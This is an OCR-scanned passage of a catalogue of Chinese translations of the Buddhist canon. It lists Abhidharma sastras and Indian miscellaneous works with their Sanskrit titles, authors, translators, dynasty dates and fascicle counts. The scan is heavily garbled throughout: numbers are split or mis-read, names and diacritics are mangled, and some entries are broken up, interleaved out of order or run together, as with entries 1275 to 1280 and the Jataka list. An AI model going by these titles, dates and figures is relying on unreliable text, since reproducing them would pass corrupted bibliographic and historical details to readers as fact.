* III,--phi-t-mo-t-phi-pho-sh-lun.Abhidh arma-mahavibhsh-sstra.K'-yuen-lu, fast. 9 , fol. 1 9 a ; Conc. 21 . Compiledby five hundred Arhats (beginning with the venerableVasumitra), 400 years after Buddha's entering Nirvna.Translated by Hhen-kwii (Hiouen-thsang), A. D. 656--659 , of the Th dynasty, A. D. 618-9 07. 2 oo fasciculi ;8 khandas or divisions ; 43 vargas or chapters: Itconsists of 43 8,449 Chinese characters. This work' isa commentary on K ityyaniputra's Gnaprasthna-8stra (N9 . 1275), of the Sarvastivilda -nikya.1264 1 4IIbIII,,`,-phi-thn-phi-pho-sh-lun.Abhidharma-vibhftsh-sstra.This work is attributed to Katyyaniputra, who ishowever the author of the text (No. 1275). Cf. No.1263 . Translated by Buddhavarman, together withTo-thi, A. D. 43 7-43 9 , of the Northern Lid dynasty,A. D. 3 97-43 9 . 82 fasciculi; 3 khandas or divisions;16 chapters.The above two works are similar translations, andthey agree with Tibetan. ' K'-yueslu, fasc. 9 , fol. 19 a.But No. 1264 is incomplete.1 265 1 4 hi,E-phi-t-mo-shun-kan-li-lun. _' Abhidhanna-nytyftnusAra-sastra.'Nyynusra-sstra.K'-yuen-lu, fasc. 9 , fol. 2oa; Conc. 125. Composedby the venerable Salighabhadra, of the Sarvsti-vda-nikya, a contemporary of Vasubandhu. Trans-lated by Hhen-kw (Hiouen-thsang), A. D. 653 -654,of the Thii dynasty, A. D. 618-9 07. 8o fasciculi ;8 chapters. In this work Saghabhadra refutes Vasu-bandhu's Abhidharma- kosa-sstra (Nos. 1267, 1269 ),quoting his 600 verses. It agrees with Tibetan.K'-yuen-lu, s. v.1 266 R A S Mi l T:-phi-t-mo-ts^,^i-hhien-team-lun. Abhidharma (-pitaka)-prakaranassana-sstra.K'-yuen-lu, fasc. 9 , fol. 20 b; Conc. 19 2. Composedby the venerable Salighabhadra. ' Translated by Hhen-kwii (Hiouen-thsang), A. D. 651 -652, of the Thdynasty, A. D. 618-9 07. 4o fasciculi ; 9 chapters.This is an abstract of the preceding work, but anintroductory chapter is added. It agrees with Tibetan.K'-yuen-lu, s. v.1267 1414-phi-t-mo-kii-sh-lun.Abhidharma-kosa-sstra.K'-yuen-lu, fast. 9 , fol. 1 9 b ; Conc. 1 9, 2. 9 8. Com-posed by the venerable Vasubandhu. Translated byHhen-kwri '(Hiouen-thsang), A. D. 651-654, of theTh dynasty, A. D. 618-9 07. 3 o fasciculi; 9 chapters.In this work Vasubandhu refutes the views of theVaibhshikas. It agrees with Tibetan. K'-yuen-lu, s. v.T2279ABHIDHARMA-PITAKA,280There exists a commentary in Sanskrit on this Sstra,called Abhidharma-kosa-vykhy with the title ofSphutrth. The compiler is Yasomitra, who mentionstwo earlier commentators, Gunamati and his discipleVasumitra. This Vasumitra seems not to be the sameperson as the author of the Mahvibhsh (Nos. 1263 ,1264), Prakaranapda (Nos. 1277, I2 9 2), and Dhtu-kyapda (No. 1282); because these works are quotedin Vasuba. ndhu's text (Nos. 1267, 126 9 ). Moreover, inthe list of twenty-eight Indian patriarchs (beginningwith Mahksyapa and ending with Bodhidharma, whoarrived in Chins, in A. D. 520), Vasumitra, . the authorof many Sstras above mentioned, is the seventh, whileVasubandhu is the twenty-first. See Edkins, ChineseBuddhism, p. 43 5 seq. , and index to it; Eitel, Handbook,p. i64 a. For Yasomitra's commentary, see Catalogueof the Hodgson Manuscripts, III. 42; V. 4o. Thereis a MS. of the same work in the University Library,Cambridge.1268 * ^^^'^PK Hi, 0Sh-1i-fu--phi-than-lun.Sariputrabhidharma-sastra.Conc. 47. Translated by Dharmagupta, togetherwith Dharmaya8as, A. D. 41 4-415, of the Latter Tshindynasty, A. D. 3 84-417 3 0 fasciculi; 4 divisions;3 3 chapters. Deest in Tibetan. K'-yuen-lu, fasc. 9 ,fol. 23 a. Cf. however No. 1276.1269 Fl-phi-t-mo-k-sh-shih-lun.Abhidharma-kosa (-' vykhya')-sstra.Cf. No, 1267. Composed by the venerable Vasu-bandhu. Translated by Paramrtha, A. D. 564-567,of the Khan dynasty, A. D. 557-589 . 22 fasciculi ;y chapters. This is an earlier translation of No. 1267,.K'-yuen-lu, fasc. . 9 , fol. 19 b. According to the San-dai-z-mok-rok (fare. 2, fol. 75 a), the seventh characterof the Chinese title is sometimes left out. If so, bothSanskrit and Chinese titles exactly agree with eachother, i. e. without ' vykhy:127Uiii. ``A P *-phi- ta-mo-k-sh-lun+ pan-suai.Abhidharma-kola-krika.. K'-yuen-lu, fasc. 9 , fol. 19 b ; Conc. 2 9 9 . Composedby the venerable Vasubandhu. Translated by Hhen-I wii (Hiouen-thsang), A. n. 651, of the Th dynasty,A, n. 618-9 07. 2 fasciculi ; 8 chapters. This is thecollection of boo principal and 7 additional verses,explained in Nos. . 1267 ' and 1269 . It agrees withTibetan. K'-yuen-lu, s. v.1271San-fa-tu-lun.' Tridharmaka-sistra.'Composed by the venerable Giribhadra (4) or Vasu-bhadra (cf. No. 13 81) and Salighasena, the ' latterexplaining the text of the former. . Translated byGautama Saghadeva, together with Hwui-yuen, A. D.3 91 , of the Eastern Tsin dynasty, A. D.3 fasciculi; 3 chapters. Deest in Tibetan.lu, fasc. 9 , fol. 22 a.1 272 ^'^:^M. OPSn-mi-ti-pu-lun.' Sammittya-nikftya-84stra.'Author's name unknown. Translated under the(three) Tshin dynasties, A. D. 3 50-431 ; but the trans-lator's name is lost. 3 fasciculi. Deest in Tibetan.K'-yuen-lu, fasc. 9, fol. 23 b.*. A!^^ -phi-th "an-p a-kien-tu-lun.' Abhidharmshtakhanda-sastra.'Abhidharma--gnaprasthana-sstra.K'-yuen-lu, fasc, 9 , fol. 17 a ; Conc. 3 1. Composedby the venerable Ktyyan1putra, ,3 0o years afterBuddha's entering Nirvna. Translated by GautamaSaghadeva, together with Ku Fo-nieu, A. D. 3 83 ,. ofthe Former Tshin dynasty, A. D. 3 50-3 9 4. 3 o fasciculi;8 khandas or divisions; 44. . vargas or chapters. Itis said that the Sanskrit text has consisted of 15,0728lokas in verse, or a corresponding number in prose.This is the principal work of the Abhidharma-pitaka ofthe Sarvstivda-nikya. It agrees with Tibetan. K'-yuen-lu, s. v.1 274li^ 4Khan-shih-lun.Satyasiddhi-sstra.'Composed by Harivarmau. Translated by Kumra-giva, A. D. 417-418 (or 407-4081), of the Latter Tshindynasty, A. D. 3 84-417. 20 fasciculi; 202 chapters.This work differs from the views of the Sarvstivda-nikitya. It agrees with Tibetan. K'-yuen-lu, fasc. 9 ,fol. 22 b.1 275 Nriif_ -phi=ta-mo-f-k'^lun.,Abhidharma-g^znaprasthana-sastra.31 7-42o.K'-yuen-1 273"I1 280Lakshananusitra-sastra.'Composed by the venerable Gunamati. Translatedby Parainarthe A. D. 557-569 , of the Khan dynasty,-281ABHIDHARMA-PITAKA. 282Conc. 5. Composed by the venerable Kiityliyanl-putra. Translated by Hhtien-kwiti (iiiouen-thsang),A. D. 657-660, of the Thai' dynasty, A. D. 618-9 07.20 fasciculi ; $ khandas or divisions ; 44 vargas orchapters. This is a later translation of No. 1273 .K'-yuen-lu, fasc. 9 , fol. 1 7 a.1 276 1 4 in -. 7M,,,. . AA- P9 A
Abhidharma-saalgitiparyayapida (-sistra).K'-yuen-lu, fasc. 9 , fol. 17 b; Cone. 23 . Composedby the ,venerable Sariputra. 20 fasciculi; 12 chapters.According to Yasomitra's Abhidharmakosavyikhytt,the author of No. 1276 is Mahikaushthila. This is thefirst of the Six Ilda works of the Sarvistivilda-nikaya.1 277 1 4 It.0Abhidharma-prakaranapada (-sistra).K'-yuen-lu, fasc. 9 , fol. 18 b; Conc. 20. Composedby the venerable Vasumitra. Translated by Hhiien-kwtul (Hiouen,thsang), A. D. 659 , of the Ththi dynasty,A. D. 618-9 07. 18 fasciculi ; 8 chapters. This is thesecond of the Six Pada works of the Sarvastivada-nikaya.1278 IN'fjfriiAbhidharmimrita (-rasa)-sastra.K'-yuen-lu, fasc. 9 , fol. 21 b. Composed by thevenerable Ghosha. Translated under the Wi dynasty,A. D. 22-265. 2 fasciculi; i6 chapters.The above three works agree with Tibetan. K'-yuen-ln, s. v.1 279
iiiJfrVibhasha-sastra.Cone. 445. Composed by the venerable Kittyyani-putra. Translated by Salighabhai, A. D. 3 83 , of theFormer Tshin dynasty, A. D. 3 50-3 9 4. i8 fasciculi;42 chapters. Deest in Tibetan. K'-yuen-lu,. fasc. 9 ,fol. 23 a.A. D. 557-589 . 2 fasciculi. Deest in Tibetan. K' -yuen-lu, fasc. g, fol. 21 b.1 281 jtr,p;ii
II-phi-a-mo-shi-shan-ts-lun.Abhidha-rma-vigfiinakiyapida(-sistra).K'-yuen-lu, fasc. 9 , fol. i8 a; Conc. 22. Composedby the Arhat Devasarman, mo years after Buddha'sentering Nirvana. Translated by Hhiien-kwait (Hiouen-tlasang); A. D. 649 , of the Theta dynasty, A. D. 618-9 07.fasciculi; 6 chapters. This is the third of the SixPada works of the Sarvistivida-nikaya.1 282 Is-p -tit-mo-ki8-shan-ts-lun.(Abhielharma-)dhituketyapida(-sistra).K'-yuen-lu, fasc. 9 , fol. 18 a; Conc. x 7. Composedby the venerable Vasumitra, 3 0o years after Buddha'sentering Nirvana. Translated by Hhiien-kwaii (Hiouen-thsang), A. D. 663 , of the Than dynasty, A. D. 618-9 ory.2 fasciculi ; 2 chapters. This is the fourth of the SixPada works of the Sarvastivida-nikaya. According toYasomitra's Abhidharmakosavyakhya, the author ofNo. ir 28 2 is Parna.The above two works ; ee with Tibetan. K'-yuen-lu, s. v.1 283Patileavaatu-vibhasha-sastra:Compiled by the venerable Dharmatrita. Trans-lated by Hhfien-kwiiii (Hiouen-thsang), A. D. 663 , of theThtui dynasty, A. D. 618-9 07. 2 fasciculi ; 3 chapters.This is a commentary on Vasumitra's Pafikavastu-sastra. ' Deest in Tibetan. K'-yuen-lu, fasc. 9 , fol. 23 a.1 284t A OP.AshtadasanikAya-sastra.'Composed by the Bodhisattva Vasumitra. Trans-lated by Paramartha, A. D. 557-569 , of the Khandynasty, A. D. 557-589 . -9 leaves.1 285OP 1 1 1 APu-kih-i-lun.
x NTsun-pho-su-mi-phu-sa- su-tsi-lun.' rya-vasumitra-bodhisattva-saglti-sstra.'Translated by Saghabhfiti and others, A. D. 3 84, ofthe Former Tshin dynasty, A. D. 3 50-3 9 4. 15 fasciculi;x4 khandas or chapters.1 290
5t ^^. 3Fan-pieh-kuit-th-lun.' Gunanirdesa (l)-sstra.'Compiler's name unknown. ' Translated under theEastern Han dynasty, A. D. 25-220 ; but the translator'sname is lost. 3 fasciculi. This is a commentary. onthe first and fourth chapters of the Ekottargama,No. 543 .Ku-sh' -fan--phi-thin-lun.Abhidharma-prakaranapfida (-sstra).Conc. 713 . Composed by the venerable Vasumitra.Translated by Gunabhadra, together with Bodhiyasas,A. D. 43 5-443 , of the earlier Sun dynasty, A. D. 420-479 . 12 fasciculi; 8 chapters. This is an earliertranslation of No. 1277. K'-yuen-lu, fasc. 9 , fol. x8 b.1 293Ki^-to-to-lun.Vimoksb.aLP&rga-s&stra:Composed by the Arbat "Upatishya or Agiriputra.Translated by Sanghapla, A. D. 505, of the Lidynasty, A. D. 502-557. 1 2 fasciculi ; 1 2 chapters.1 294 MA*JO laF-sha--phi-than-sin-lun.(Dharmagina ?)-abhidharma-hridaya (-sstra).Cone. I 27. Compiled by_ the venerable Upasita.Translated by Narendrayasas, A. D. 563, of the NorthernTshi dynasty, A. D. 550-577 . 6 fasciuli; ro chapters.This is a commentary on No. 1288.The above two works are wanting in Tibetan.K'-yu-lu, fasc. g, fol. 2I a seq.129 5 ;T efri oShall-tsu. -shi- kit-i-lun.' Vaiseshikanikya-dasapad&rtha-stra.'Composed by the Vaiseshika Gnakandra. Trans-lated by Hhen-kwli (Hiouen-thsang), A. D. 648, ofthe Thfi, dynasty, A, D. 61 8-907. 1 fasciculus ;13 leaves. This is an enlarged work of the ' Shatpa-d rtha' of the ' Vaiseshika-sistra. ' ' Thi^ is not thelaw of Buddha ` (K'-yuen-lu, f: < c. 1 0, fol. 4 a), but1288285ABHIDHARNIA-PITSA.286a Sidra of the heretics' or the Vaiseshikas (K'-tsizi,fasc. 4i, fol. 1 2 b). No. 129 5 therefore ought to bearranged under the heading of the MiscellaneousIndian Works, i. e. the Fourth Division, Part I, inthis Catalogue.1 296 -phi-tit-mo-fa-yun-ts-lun.Abhidharma (-dharma)-skandhapda (-s&stra).K'-yuen-lu, fasc. 9 , fol. 17 b ; Conc. i 6. Composedby the venerable Mahmaudgalyyana. Translated byHhen-kw (Hiouen-thsang), A. D. 659 , of the' Thdynasty, A. D. 618-9 07. i 2 fasciculi ; 2 I chapters. Itagrees with Tibetan. K'-yuen-lu, s. v. This is thfifth of the Six Pda works of the Sarvstivda-nikya.According to Yosomitra's Abhidharmakosavykhy, theauthor of No. i296 is Sriputra.1 297 ALi. -shi--phi-than lun.' Loifasthiti (4)-abhidbarma-s4stra.Author's name -unknown. Translated by Para-mrtha, A. D. 558, of the Khan dynasty, A. D. 557-589 .z 0 fasciculi ; '25 chapters. This Sstra is doubtful (orwanting) in Tibetan. K'-yuen-lu, fasc. 9 , fol. 22 b. Thesubject 'of the first chapter is the motion of the earth,and that of the nineteenth is that of the sun and moon.The latter chapter is the principal text for some Bud-dhists who make astronomical calculations for thealmanacs.287 ABFTDHARMA-PITAKA,288PART III.Suri-yuen- ^ uh-zu-tsiin-ku-lun, or Works ofthe Abhidharma of the MahyAna and H3 nayna, successively admitted intothe Canon during the later (or Northern) and Southern Sun (A. D. 9 6o-1127and 1 1 2 7 -1 280) and Yuen (A. D. 1280-13 68) dynasties.129 8T-sha-tsi-phu-s-hhio-lun.' Mahayana-sagltibodhisattvavidyd sutra.'Composed by the Bodhisattva Dharmayasas: Trans-lated by F-hu (Dharmraksha t) and Zih-khan (Sfirya-'ayasas), A. D. 1004-1058, of the later Sun dynasty, A. D.9 60-1127. 25 fasciculi; 18 chapters.1 299 7R0 .
"aTf,-tsuii-ti-hhen-wan-pan-lun.' Mahft nabhmiguhyavtkftmtla (?) -8ftstra'Composed by the Bodhisattva Asvaghosha. Trans-lated by Parmrtha, A. D. 557-569 , of the Khandynasty, A. D. 557-589 . 8 fasciculi; 4o chapters.The above two works are wanting in Tibetan.K'-yuen-lu, fast. 9 ,. fol. 15 b seq.13 00aKin-tshi-shi-lun.(Suvarna-) Saptati (-sastra).Skhyakrik-bhshya.Translated by Paramrtha, A. D. 557--569 , of theKhan dynasty, A. D. 557'589 . 3 fasciculi. ' It is statedin a note at the ' beginning, that ` this . work was com-posed by the heretical Rishi Kapila, explainingtwenty-five tattvas or truths, and it is not the lawof Buddha. ' Towards the end (fasc. 3 , fol. 20 b), how-ever, we read that ' there were 6o,000 verses, com-posed by Pkasikha (Kpileya), whose teacher Asuriwas the disciple of the Rishi Kapila, and that after-wards a Brhmana, tsvara Krishna, selected 7o versesout of IN 6o,000. ' This work is to be comparedwith the Sanskrit text of the Srkhya-krik, ormemorial verses on the. Skhya philosophy, by svaraKrishna, translated by Colebrooke; and also theBh shya, or commentary of Graurapda, translatedand illustrated by an original comment, by Wilson.Published at Oxford, 183 7. ' This is not the law ofBuddha' (K'-uen-lu, fasc. 10, fol. 3 b), but ` a Sstraof the heretics' or the S . khyas '(K'-tsi, fasc. 41,fol. 13 a). It ought therefore to be arranged some-where else, as already alluded to under No. 129 5.13 01pli`Kwn-ship-phu-thi-sin-lun.Bodhihridayavaipulyaprakarana-Astra.'Composed by the Bodhisattva Padmastla (4). Trans-lated by Sh'-hu (Dnapla 4), A. D. 9 80-1000, of thelater Sufi dynasty, A. D. 9 60-1127. 4 fasciculi,. Itagrees with Tibetan. K'-yuen-la, fasc. 9 , fol. 14 a,13 02 ItmaRta aTsi=ku-f-p^o-tsui-sh^i-i-lun.` Sarvadharmaratnottara (artha)-sagiti-stIstra.'Composed by the Bodhisattva Sumuni (4). Trans-lated by Sh'-hu (Dnapla I), A. D. 980-1000, of thelater Sun dyn:. . : ty, A. D. 960-1 1 27. 2 'fascicli;13 03 aBin-k-kan-lun.Vagrastiki (-sstra).Composed by the Bodhisattva Dharmaya. as. Trans-lated by Fit-thien (Dharmadeva 1), A. D. 9 73 -9 .81 , ofthe later Sun dynasty, A. D. 9 60-1127. 9 leaves.This work contains a refutation of the four Vedas. Forthe Sanskrit text, see Catalogue of the Hodgson Manu-scripts, III. 54, 55; V. 64; VI. 66; VII. 9 1.The above two works are wanting in Tibetan.K'-yuen-ht, fasc. -9 , fol. i4 b seq.289 ABHIDHARMA-PITAKA. 29 0The following seven works were translated by Sh'-hu(Dinapila 9 ), A. D. 9 80-1000, of the later Sun dynasty,A. D. 9 60-,-I I27 13 04et JoLakshanavimukta (?)-bodhihridaya-ottstra. 'Composed by the Bodhisattva Nigirguna. 9 leaves.It agrees with Tibetan. JP- yuen-lu, fasc. 9 , fol. x4 a.1 305isnTi-shatt-po-yiu-lun.Mahtlyana-bhavabheda-etstra:Composed by the Bodhisattva Nigttrguna. L, leaves.1 3063cTsi-ta-shatt-siat-lun.Mahayana-lakshanasafigiti-aftstra. 'Composed by the Bodhisattva Buddhasrigfi gna (I).2 fasciculi ; x8 leaves.The above two works are wanting in Tibetan.. K'-yuen-lu, fasc. 9 , fol. 14 b.13 07Li-shi-su-zu-li-lun.GilthAshashti-yathartha-stistra. 'Composed by the Bodhisattva Nagirguna. 5 leaves.13 08 *NMahlyana-gathlvimati-sastra:Composed by the Bodhisattva Nigirguna. 2 leaves.The above two works agree with Tibetan. K'y uen,lu , fasc. 9 , fol. 14 a.1 309 VD -4'Buddhamfttrika-pragfitcpttramid-mahitrtha-safigiti-aftstra:Composed by the Bodhisattvaor Nagar-guna (9 Cf. Nos. 1223 , 1224). 4 leaves.iaio PO -4 g PJ4SFo-mu-pan-zo-po-lo-mi-to-yuen-tsi-Acommentary on the preceding Sttstta.Composed by the Bodhisattva Triratnirys (1).4 fasciculi.13 11' Mahtlyana-ratnamahartha-sitstra. 'Author's name lost. Translated by Fa-hu (Dhar-maraksha 9 ) and others, A. D. 1004-1058, of the laterSufi dynasty, A. D. 9 60-1127. 10 fasciculi.(Bodhisattva-)Catakamali (-Astra).Composed or collected by the Bodhisattva Itryasfira,and commented by Tsi-pien-shal-thien or the MuniGinadeva (9 ). Translated by Shio-t6h, Hwui-sn, andothers, of the later Suit dynasty, A. D. 9 6o-1127.16 fasciculi. The first 4 fasciculi contain fourteenGitakas of Sayamuni, being Iryasilra's text; whilethe latter 12 fasciculi form a commentary, being dividedinto 3 4 sections. But this translation is not good.See the K'-tsift, fasc. 3 8, fol. 13 b. For the Sanskrittext, see Catalogue of the Hodgson Manuscripts, III.23 ; V. 24; VI. 14. The following is a list of 'thirty-five Galakas (C. H. M. , 'IL 23 ) :VyAghri-gittalia.(2)Sivi.(3 ) Kulniftshapindi.(4)Sreshthi. (5) Sahya (? or Avishagya-)sreshthi:(6)San.(7) Agastya.(8) Maitribala.(9 ) Viavantara.(i)' Yvan.(ix). Sakra.(12) Brithmana.(13 ) Unniadayantt.(4) Supftraga (for Suparttga)(15) Matsya.(16) Vartakitpotaka.(1 7) Kakkhapa.For the above list, see also Five Jitakas, edited byFausbll, p. 59 ; Buddhist Birth Stories, translated byRhys Davids, vol. i, p. xcviii.The above four works (Nos. 13 09 -13 12) are wantingin Tibetan. K'-yuen-lu, fasc. 9 , fol. 13 b seq.13 13 M140-4i(JIShan-fo-mu-pftn,psu-tsi-i-lun.'Aryabuddhamatrika-praggapitramita-navagath&-mahirthalastra111o El E(I8) Kumbha.(x9 ) Putra.(2o) Visa.(21) Sreshthi.(22) Buddhabodhi(23) Harrill%(24) Islahttbodhi.(25) Malittkapi.(26) Sarabha.(27) Ruru.(28) liahlikapi.(29 ) Kshfinti.(3 o) Brahma.(3 x) Hasti.(3 2) Sutasoma.(3 3 ) AyognIa.(3 4)Mahisha.(3 5) Satapatra., '29 1ABHIDHARMA-PITAKA. 29 2Composed by the Bodhisattva Srigunaraktmbara ('). 'Translated by Fi-hu (Dharmaraksha 4), A. D. 1004z o58, of the later Sun dynasty, A. D. 9 60-I I27.2 fasciculi; io leaves.13 14` Mahayana-nidana-sastra.'Composed by the venerable Ullagha. . Translatedby Amoghavagra, A. D. 746-771 , of the Than dynasty,A. D. 618-9 07. 15 leaves. It agrees with Tibetan.K'-yuen-lu,. fasc. 9 , ,fol. 13 a. But, according to theK'-tsiii (fasc. 4o, fol. 15 b), No. 13 14 is a later transla-tion of No. 1227, and it is a Sstra of the Hinayana. .1 31 fi *^^^^Ku-kio=kie--ti -. min-i-lun.' Sarvasiksha-sthita-namartha-Sstra.'Composed or spoken' by the Bodhisattva Maitreya. `Translated by Sh'-hu (Dnapla I), A. D. 9 80-1000, ofthe later. Sufi dynasty, A. D. 9 6o-1127. 5 leaves. Inthis work the root letters or syllables in all the teach-ing (of the Tantra), such as Om, Hm, A, etc. ,' areenumerated or explained.13 16 ^C r
T-shah-kun-kwn-shih-lun.' Mahayana- madhyadhyana-vyakhya-sastra.Composed by the Bodhisattva Sthitamati. Translatedby Wi-tsifi and others, A. D. 1009 -1050, of the, laterSun dynasty, A. D. 9 6o-1127. 9 fasciculi. This isa commentary on the first 13 chapters of Ngrguna'sPramnyamflla-Sstra, N. 1179 .The above two works . are wanting in Tibetan. .K'-yuen 'u, fasc. 9 , fol. 15 a, b.13 17Pai Sh'-sh-lun.Pragpapti- sastra.Pragfi ptipda-sstra.K'-yuen-lu, fasc. 9 , fol. 24 b; Cono. 66. Composedby the venerable Mahmaudgalyyana. Translated byFa-hu (Dharmaraksha 4) and others, A. D. 1004-1058,of the later Sun dynasty, A. D. 9 60I I27. This is thelast of the Six Pda works of the Sarvstivda-ikya,and therefore a Sstra of the Hinayana. It agrees withTibetan. , K'-yuen-lu, s. v.13 18 * M. n ,;.1)Ta-shah-f-ki- wu-kh-pieh-lun.' Mabilyana-dharmadhtty-aviseshatd-Sstra:Composed by the Bodhisattva Sthiramati. Trans-lated by Devapragfia, A. D. 69 1, of the Than dynasty,A. D. 618-9 07. 8 leaves. This is another translationof No. 1258. K'-tsifi, fasc. 3 8, fol. 4 a. According tothe . K'-Yuen-lu (fasc. 9 , fol. I r b), the translator's nameis lost.1 31 91 41 IA 'vKin-kn-till-y-ki-kuf --neu-to-lo-sn-mio-sn-phu-thi-sin-lun.' Vagrasekharayoga-anuttarasamyaksambodhi/cittotpMa-sdatra:Author's name unknown. Translated by Amogha-vagra, A. D. 746-771, of the Than dynasty, A. D. 618-9 07. leaves. It agrees with Tibetan. E'-yuen-lu,fasc. 9 , fol. 13 a. According to the $'-tsifi (fasc. 3 4,fol. 8' a), No. 1 3 1 9 - seems to be the translator's ownwork.13 209 i 0 :Kan-su-k'-lu.Sastra on explaining known objects.' , .Composed by. Pi-sz'-pa or Bashpa (died A. D. 1 28o),the teacher of, the Emperor Shi-tsu or Kublai Khanof the Yuen dynasty, reigned A. D. 1 26o-129 4, andactually seated on the throne of China from I2e0.Translated by _ Sh-10-pi (died A. D. 13 1 4), disciple ofBashpa, of the Yuen dynasty, A. D. I. 28o-13 68. 2 fasci-euli ; 5 chapters, on the Bhgana-loka or vessel-world,Sattva-loka or being-world,. Mrga-dharma or way-law,Phala-dharma or fruit-law, and,Asamskrita-dharroa orunmade-law respectively, . This is a useful and interest-ing manual of the Buddhistic terminology, consisting ofextracts from several Sfltras . and Sstras, such as Nos.62,-549 , 550, 679 , 1267, 1269 . . It was compiled byBashpa for the sake of Kan-kin, the Crown-prince of 'th' Emperor Shi-tsu, in A. D. I2 7x(4). See the last passageof the ' work, where however the Chinese cycle onlymentioned without the name and order of the period;but this cycle (-1 - . must be an error, as it cor-responds to A. D. 1242 and 13 02,, and the author diedin 1280 as above mentioned, and the Kan-kin was not;elected as the Crown-prince till 1 272. Then the cycleof the year i272 is -1 43, which may most probably'be a right reading. In the ;K'-tail' (fast. 4o, fol. i6 a),No. 13 20 is mentioned as a Sidra of the Hinayana.FOURTH DIVISION.Ts . -ts (Samyukta-pitaka ?), or Miscellaneous Works.PART I.INDIAN MISCELLANEOUS WORKS.Si-thu-shah-hhien-kwn-tsi, or Works of the sagesand wise men of the western country, i, e. India.^^.Khu-yo-kin.Avadna (- ^ tra).Composed by the Bodhisattva Dharmatrta. Trans-lated by Ku Fo-nien, A. D. 3 9 8-3 9 9 , of the LatterTshin dynasty, A. D. 3 84-417. 20 fasciculi; 3 3 chapters.It is stated in the preface by Sa-zui, dated A. D. 3 9 9 ,that ` Dharmatrta, the maternal uncle of Vasumitra,collected i 000 verses in 3 3 chapters, and called thiscollection i HJ F-k or law-verse (i. e. Dharma-pada or Dhammapada). Then he recorded the originalaccount of each verse as a commentary, which he calledKhu-yo or coming-out light (i. e. Avadna).This term_was previously rendered into' ACCPhi-yor comparison, being the sixth (or seventh 4) of twelveclasses of the Stras or scriptures. In A. D. 3 83 , therewas a Srmana of Ki-pin (Cabul) Sarighabhti by name,who came to Kh-n, the capital of the Former Tshindynasty, A. D. 3 50-3 9 4 (bringing with him the MS. of thisWork (4). Cf. Ko-sail-kwhn, fasc. 1, fol. 21 a). After-wards in A. D. 3 9 8, under the Latter Tshin dynasty,A. D. 384-417, he was asked to translate this work,which translation was finished in the following spring.In translating it, Salighabhti took the Sanskrit textin his hand, while Fo-nien (a Chinese priest) interpretedit. ' This is the third of four Chinese versions of theDhammapada (Nos. 1 321 , 13 53 , 1 3 65, 143 9 ), with acommentary; and the last chapter is on Fn-k'or Brhmkrin, or Brhmana (1), if it is comparedwith the Pli text. Cf. Beal, Dhammapada, p. 23 seq. ;Sacred Books of the East, vol. x, . Dhammapada, p. lii.According to the ' K'-yuen-lu (fasc. 9 , fol. 26 a), thiswork is :wanting in Tibetan. But for a Tibetan trans-lation of a Dhammapada, see S. B. E. ,1. c. The Plitext of the Dhammapada 'was published by ProfessorFausbll, in Copenhagen, 1855, with Latin 'translation.Translated into German by Professor Weber, Zeit-schrift der deutschen morgenlndischen Gesellschaft,'vol. xiv, 186o ; reprinted in ' Indische Streifen,' vol. i.Translated into English by Professor Max Mller, asintroduction to 'Buddhaghosha's Parables,' 187(3 ; re-printed in the Sacred Books of the East, vol. x, i 881.13 22Hhien-yii-yin-yuen-kizi.Daniamka (-nidna-sutra, or Stra on the causeor tales of the wise and the fool).A. R. , p. 48o; A. M. G. ; p. 283 . Translated by Hwui-kio and others, A. D. 445, of the Northern Wi dynasty,A. D. 3 86-53 4. 1 3 fasciculi ; 69 ' chapters. It agreeswith Tibetan. ' K'-yuen-lu, fasc. 9 , fol. 26 a. Csomasays (A. R. , 1. c:) : ' At the end it is stated that thiswork (viz. the Tibetan version), it seems, has beentranslated from Chinese. See ' Der Weise und derThor,' aus dem Tibetischen bersetzt und mit demOriginal texte herausgegeben von I. J. Schmidt, St.Petersburg, 1843 . No. 13 22 is mentioned as a Hna-yna-stra in K'-tsi, fasc. 3 1, fol. 23 b.Fopan-hhiri-ki1i.' Buddhapflrvakary-s{itra. '_Translated by Po-yun, A. D. 427-449 , of the earlierSun dynasty,, A. D. 420-479 . 7 fasciculi,; 3 1 chapters.This is a life of Buddha in verse, but the author's nameis -unknown. It agrees with Tibetan. K'-yuen-lu,fasc. 9 , fol. 25 , b, where another title is also mentioned,viz: Pan-hhirr-ts-kwhn or Life (of Buddha) inlaudatory verses on his former practice.213 211 32329 5,INDIAN. MISCELLANEOUS WORKS,. 29 613 246: A -laSelected and collected SatAvadana-stitra. 'Pilrnama-avadi. : : : taka.A. R. , p. 481; A. M. G,, p. 284. Translated by K'Eiden, A. D. 223 -253 , Of. the Wu dynasty, A. D. 222280. xo fasciculi ; 10 chapters, each chapter containing10 Avadnas or stories. For the Sanskrit text, seeCatalogue of the Hodgson Manuscripts, II. ro; V. 5o ;VIL 4, where three titles are mentioned, viz. 1. Ava-dnasataka, 2. Sativadns, and 3 . Satakvadnakath.No. 13 24 agrees with Tibetan. See K'-yuen-lu, fasc. 9 ,fol. 25 b. For the Tibetan version, see 'Etudes Bud-dhiques. Le Livre des cent lgends, par M. LonPeer,' Paris, x881. No. 13 24 is mentioned : a Hina-yana-of:Ara infasc. 3 1, fol. 26 a.
13 25. . 17'. /Caryttmargabbtimi-sittas. 'Composed by the Indian Srmana Z figharaksha,loo years after Buddha's entering Nirvna. Trans-lated by Ku F-hu (Dharmaraksha), A. D. 284, of theWestern Tsin dynasty, A. D. 265-3 16. 8 fasciculi ;3 o chapters. The last 3 chapters depend on thedharmapundartka. K'-tsin, fasc. 3 8, fol. x9 a. Thisand the following work are mentioned as lifahlyina-sietras in . //'-tsifi, fasc. 3 8, fol. x8 a seq.13 26'Margabhiimi-sittra. 'Composed by Safigharaksha. Translated by An Shi-,ko, A. D. 148-I 70, of the Eastern Han dynasty; A. D.25-220. I fasciculus ; 7 sections. This is an earliertranslation of a part of No 13 25. fasc. 9 ,fol. 26 a.13 27 fORPONVFo-shwo-fo4-kiiy.' Stara spoken by Buddha on the Buddha-physician. 'Translated by Ltih-yen, together with K' Yueh, A. D.23 0, of the Wu dynasty, A. D. 222-280. 5 leaves.This work is mentioned as a 3 ayina-sittra in K'-tsi,fasc. 3 1, fol. 13 b.13 28tft''Stitra on several difficulties (or difficult questions) of(name of a man 1). 'Translated by K' Eiden, A. D. 223 -253 , of the Wudynasty, A. D. 222-280. 16 leaves. This work givesan account concerning several diTerences of the practiceand virtue of Bhagavat, : hisattvas, Pratyekabuddhas,and Srvakas. This translation is not very readable.This work is mentioned as a Mahyna-sstra in K' -tsifi, fasc. 3 8, fol. x6 a.13 29 WTsa-pio-tsitA-kin.' z :royuktaratnapitaka-stitra. 'Translated by Ki-kii-ye, together with Than-yacA. D. 472, of the Northern W61 dynasty, A. D. 3 86-53 